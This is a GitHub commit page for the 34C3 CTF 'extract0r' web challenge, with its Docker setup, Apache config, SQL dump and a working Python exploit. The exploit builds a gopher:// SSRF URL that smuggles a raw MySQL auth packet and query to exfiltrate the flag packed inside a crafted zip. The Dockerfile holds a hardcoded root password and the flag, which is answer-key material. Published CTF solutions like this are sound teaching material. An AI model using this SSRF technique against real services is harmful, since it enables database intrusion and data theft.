Skip to content

Commit 5b9ec66

Browse files
committed
initial commit
1 parent a91f2af commit 5b9ec66

File tree

224 files changed

+30457
-2
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

224 files changed

+30457
-2
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
*.pyc
2+
__pycache__
3+
*.sqlite3

README.md

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,14 @@
1-
# 34c3ctf
2-
Challenge Sources & Exploits for the 34C3 CTF
1+
# Challenge Sources & Exploits for the 34C3 CTF
2+
3+
Challenges:
4+
5+
* minbashmaxfun - misc
6+
* urlstorage - web
7+
* extract0r - web
8+
9+
Junior Challenges:
10+
* cyberms - crypto
11+
* megalal - crypto
12+
* babybash - misc
13+
* pizzagate - web
14+
* quaker - web

extract0r/000-default.conf

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
<VirtualHost *:80>
2+
# The ServerName directive sets the request scheme, hostname and port that
3+
# the server uses to identify itself. This is used when creating
4+
# redirection URLs. In the context of virtual hosts, the ServerName
5+
# specifies what hostname must appear in the request's Host: header to
6+
# match this virtual host. For the default virtual host (this file) this
7+
# value is not decisive as it is used as a last resort host regardless.
8+
# However, you must set it for any further virtual host explicitly.
9+
#ServerName www.example.com
10+
11+
12+
ServerAdmin webmaster@localhost
13+
DocumentRoot /var/www/html
14+
php_admin_flag engine off
15+
16+
<Location /index.php>
17+
AllowOverride None
18+
Require all granted
19+
php_admin_flag engine on
20+
</Location>
21+
22+
<Directory /var/www/html>
23+
Options -Indexes
24+
AllowOverride None
25+
Require all granted
26+
php_admin_flag engine off
27+
</Directory>
28+
29+
<Directory /var/www/html/files/>
30+
Options -Indexes
31+
AllowOverride None
32+
Require all granted
33+
php_admin_flag engine off
34+
</Directory>
35+
36+
<Directory /var/www/html/files/*/>
37+
Options Indexes FollowSymLinks
38+
AllowOverride None
39+
Require all granted
40+
php_admin_flag engine off
41+
</Directory>
42+
43+
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
44+
# error, crit, alert, emerg.
45+
# It is also possible to configure the loglevel for particular
46+
# modules, e.g.
47+
#LogLevel info ssl:warn
48+
49+
ErrorLog ${APACHE_LOG_DIR}/error.log
50+
CustomLog ${APACHE_LOG_DIR}/access.log combined
51+
52+
# For most configuration files from conf-available/, which are
53+
# enabled or disabled at a global level, it is possible to
54+
# include a line for only one particular virtual host. For example the
55+
# following line enables the CGI configuration for this host only
56+
# after it has been globally disabled with "a2disconf".
57+
#Include conf-available/serve-cgi-bin.conf
58+
</VirtualHost>
59+

extract0r/Dockerfile

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
FROM ubuntu:17.10
2+
3+
RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password password FUCKmyL1f3AZiwqecq'"
4+
RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password FUCKmyL1f3AZiwqecq'"
5+
6+
RUN apt-get -y update && apt-get -y install curl wget zip
7+
8+
# apache & php & stuff
9+
RUN apt-get -y install apache2 apt-transport-https curl wget zip php php-curl php-pclzip libapache2-mod-php mysql-server php-mysql p7zip-full vim-common cron
10+
11+
ENV WEBROOT /var/www/html
12+
ENV MYSQL_USER=mysql
13+
RUN rm /var/www/html/index.html
14+
15+
ADD mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf
16+
17+
ADD dump.sql /tmp/
18+
RUN service mysql start; mysql -u root -pFUCKmyL1f3AZiwqecq < /tmp/dump.sql && rm /tmp/dump.sql
19+
20+
# challenge files and configs
21+
RUN (crontab -l ; echo "*/5 * * * * rm -r /var/www/html/files/* ; touch /var/www/html/files/index.php";\
22+
echo "*/5 * * * * rm -r /tmp/* && touch /tmp/index.php") | crontab -
23+
ADD 000-default.conf /etc/apache2/sites-enabled/000-default.conf
24+
ADD webroot/ /var/www/html/
25+
RUN touch /tmp/index.php
26+
RUN useradd extract0r -m
27+
ADD files/create_a_backup_of_my_supersecret_flag.sh /home/extract0r/
28+
RUN chown -R www-data /var/www/html/files && \
29+
chown extract0r:extract0r /home/extract0r/create_a_backup_of_my_supersecret_flag.sh
30+
31+
32+
CMD service mysql start; service cron start; echo 'INSERT INTO flag.flag VALUES("34C3_you_Extr4cted_the_unExtract0ble_plUs_you_knoW_s0me_SSRF");' | mysql -u root -pFUCKmyL1f3AZiwqecq; service apache2 start; /bin/bash

extract0r/README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# extract0r - web - medium
2+
3+
> Found this great new extraction service. Enjoy!
4+
5+
> Difficulty: medium
6+

extract0r/build_docker.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/bin/bash
2+
docker build -t eboda/extract0r .

extract0r/dump.sql

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
2+
USE `flag`;
3+
4+
DROP TABLE IF EXISTS `flag`;
5+
CREATE TABLE `flag` (
6+
`flag` VARCHAR(100)
7+
);
8+
9+
10+
CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
11+
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
12+
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';

extract0r/exploit/__init__.py

Whitespace-only changes.

extract0r/exploit/exploit.py

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#!/bin/bash
2+
3+
import struct
4+
import zip_tools
5+
from binascii import hexlify
6+
7+
8+
# make a 100 dummy character string
9+
# we will rpad flag to 100 characters (this is needed since actual flag length is unknown, you
10+
# could just bruteforce it tohugh i guess...)
11+
flag_dummy = b"B"*100
12+
13+
payload = zip_tools.create_zip(b"gimme_flag", flag_dummy)
14+
# print(''.join(map(chr,payload)))
15+
# exit()
16+
17+
prefix = bytes(payload.split(flag_dummy)[0])
18+
suffix = bytes(payload.split(flag_dummy)[1])
19+
20+
21+
sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -"
22+
23+
auth = bytearray([
24+
0x48, 0x0, 0x0, # length
25+
0x1, # seqid
26+
0x85, 0xa6, 0x3f, 0x20, 0, 0, 0, 0x1, 0x21, 0, 0,
27+
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
28+
0, 0, 0, 0, 0
29+
] + list(b'm4st3r_ov3rl0rd') + [ # mysql user
30+
0, 0, # pass length & pass
31+
] + list(b'mysql_native_password') + [
32+
0, 0,
33+
])
34+
35+
36+
def make_cmd(cmd):
37+
length = struct.pack("<I", len(cmd) + 2)[:3]
38+
39+
return length + bytearray([
40+
0x0, # seqid
41+
0x3, # select query
42+
]) + cmd
43+
def encode(s):
44+
return ''.join(map(lambda x: "%{:02x}".format(x), list(s)))
45+
46+
47+
print((b"gopher://foo@[cafebabe.cf]@yolo.com:3306/A" + bytes(encode(auth + make_cmd(sql_cmd) + b"FOOOOOOOOOOOOBAR"),"utf-8")).decode())
48+
49+
50+
51+

extract0r/exploit/zip_tools.py

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
eocd_sig = b"\x50\x4b\x05\x06"
2+
cd_fh_sig = b"\x50\x4b\x01\x02"
3+
local_fh_sig = b"\x50\x4b\x03\x04"
4+
from struct import pack
5+
6+
7+
8+
def create_zip(name, data):
9+
local_fh = zip_local_fileheader(len(name), name, len(data), len(data), data)
10+
cd_fh = zip_cd_fileheader(len(name), name, len(data), len(data), 0)
11+
eocd = zip_eocd(len(local_fh) , len(cd_fh))
12+
return local_fh + cd_fh + eocd
13+
14+
15+
def zip_eocd(cd_offset, cd_size, disk_no=0, disk_no_cd=0, disk_entries=1, total_entries=1, comment_len=0, comment=b""):
16+
return eocd_sig + pack("<HHHHIIH",
17+
disk_no,
18+
disk_no_cd,
19+
disk_entries,
20+
total_entries,
21+
cd_size,
22+
cd_offset,
23+
comment_len) + comment
24+
25+
26+
def zip_cd(list_file_headers):
27+
res = "";
28+
for file_header in list_file_headers:
29+
res += file_header
30+
return res
31+
32+
33+
def zip_cd_fileheader(file_name_len,file_name,compressed_size, uncompressed_size, local_header_offset, version=0x31e, version_needed=0xa, flags=0, compression=0, crc32=0, modtime=0, moddate=0, extra_field_len=0, file_comment_len=0, disk_start=0, internal_attr=0,external_attr=0, extra_field=b"", file_comment=b""):
34+
return cd_fh_sig + pack("<HHHHHHIIIHHHHHII",
35+
version,
36+
version_needed,
37+
flags,
38+
compression,
39+
modtime,
40+
moddate,
41+
crc32,
42+
compressed_size,
43+
uncompressed_size,
44+
file_name_len,
45+
extra_field_len,
46+
file_comment_len,
47+
disk_start,
48+
internal_attr,
49+
external_attr,
50+
local_header_offset) + file_name + extra_field + file_comment
51+
52+
def zip_local_fileheader(file_name_len, file_name, compressed_size, uncompressed_size, data, version=0xa, flags=0, compression=0, modtime=0, moddate=0, crc32=0, extra_field_len=0, extra_field=b""):
53+
return local_fh_sig + pack("<HHHHHIIIHH",
54+
version,
55+
flags,
56+
compression,
57+
modtime,
58+
moddate,
59+
crc32,
60+
compressed_size,
61+
uncompressed_size,
62+
file_name_len,
63+
extra_field_len) + file_name + extra_field + data
64+
65+

0 commit comments

Comments
 (0)